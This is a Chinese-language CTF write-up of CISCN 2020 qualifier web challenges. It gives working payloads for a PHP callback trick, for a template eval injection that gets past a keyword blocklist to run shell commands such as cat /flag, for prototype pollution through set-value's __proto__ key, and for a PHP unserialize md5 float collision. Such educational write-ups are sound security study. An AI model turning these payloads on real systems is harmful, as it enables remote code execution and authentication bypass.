CISCN2020初赛 writeup
转自本人博客
easyphp
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
发现对传入的b
没有去验证,可以套娃
让a=call_user_func
,b=pcntl_wait
,这样在回调过程中会造成子程序异常退出,得到phpinfo()
,里面就有flag
RCEME
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
发现命令执行点
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
若$ifstr
为php代码是可以执行的,回去看发现$ifstr
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
// $content和$pattern比较,匹配到的为$matches
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
// 遍历
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
// 把$matches[ 1 ][ $i ]赋值给$ifstr
$ifstr=danger_key($ifstr,1);
得到的$ifstr
需要经过danger_key
过滤,如果匹配到相关字符串就会用*
代替,替换后还有相关字符串就直接die
结束
在遍历过程中会把$matches[ 1 ][ $i ]
赋值给ifstr
,我们看一下传入{if:'phpinfo();'}phpinfo();{end if}
后$matches
内容
如果没有过滤,传入之后就是
@eval( if(phpinfo();){$flag="if";}else{$flag="else";});
就可以执行了,但是这里danger_key
过滤了好多字符串,尝试把被替换的*
替换为空,发现替换函数的部分字符已经被禁了,最后发现如果传入
{if:1)echo `whoami`;//}phpinfo();{end if}
最后eval里面的是
if(1)echo `whoami`;//){$flag="if";}else{$flag="else";}
会执行whoami
,然后echo出来,所以最终payload为
{if:1)echo `cat /flag`;//}phpinfo();{end if}
LittleGame
JS原型链攻击
首先看到在POST/DeveloperControlPanel
下,只要Admin[key] === password
,我们就可以获得flag
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
在POST/Privilege
下,如果req.session.knight
没有被定义,就重定向到/SpawnPoint
,否则查看req.body.NewAttributeKey
和req.body.NewAttributeValue
是否被定义,未定义就直接"What's your problem?"
了,如果都有定义就调用setFn()
,将转为字符串后的req.body.NewAttributeKey
和req.body.NewAttributeValue
传入
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
在一开始就定义了setFn
const setFn = require('set-value');
跟进一下
// setFn(req.session.knight, key, value);调用
// set-value的set函数如下
function set(target, path, value, options) {
if (!isObject(target)) {
return target;
}
let opts = options || {};
const isArray = Array.isArray(path);
if (!isArray && typeof path !== 'string') {
return target;
}
let merge = opts.merge;
if (merge && typeof merge !== 'function') {
merge = Object.assign;
}
const keys = isArray ? path : split(path, opts);
const len = keys.length;
const orig = target;
// 需要注意这一个条件语句
if (!options && keys.length === 1) {
result(target, keys[0], value, merge);
return target;
}
for (let i = 0; i < len; i++) {
let prop = keys[i];
if (!isObject(target[prop])) {
target[prop] = {};
}
if (i === len - 1) {
result(target, prop, value, merge);
break;
}
target = target[prop];
}
return orig;
}
跟进一下result()
function result(target, path, value, merge) {
if (merge && isPlain(target[path]) && isPlain(value)) {
target[path] = merge({}, target[path], value);
// 注意这一句,使用了merge(),实现了俩对象合并,其存在赋值操作,考虑原型链污染
} else {
target[path] = value;
}
}
再来梳理一下
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
* setFn(req.session.knight, key, value)
* set(target, path, value, options)
* result(target, path, value, merge)
* merge({}, target[path], value)
也就是说,如果我们传入NewAttributeKey
和NewAttributeValue
,他最终会进行merge()
操作,req
的原型是Object,而Admin
的原型也是Object,修改req的原型,即可实现原型链污染
所以我们可以通过POSTNewAttributeKey
和NewAttributeValue
给/Privilege
{"NewAttributeKey":"__proto__.password","NewAttributeValue":"123"}
然后POST我们刚才设置的密码给/DeveloperControlPanel
,即可得到flag
{"key":"password","password":"123"}
注意这里的Content-Type
得设置成application/json
easytrick
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
<?php
class trick{
public $trick1;
public $trick2;
}
$a = new trick();
$a->trick1 = 0.1;
$a->trick2 = 0.1000000000001;
echo serialize($a);
// O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.1000000000001;}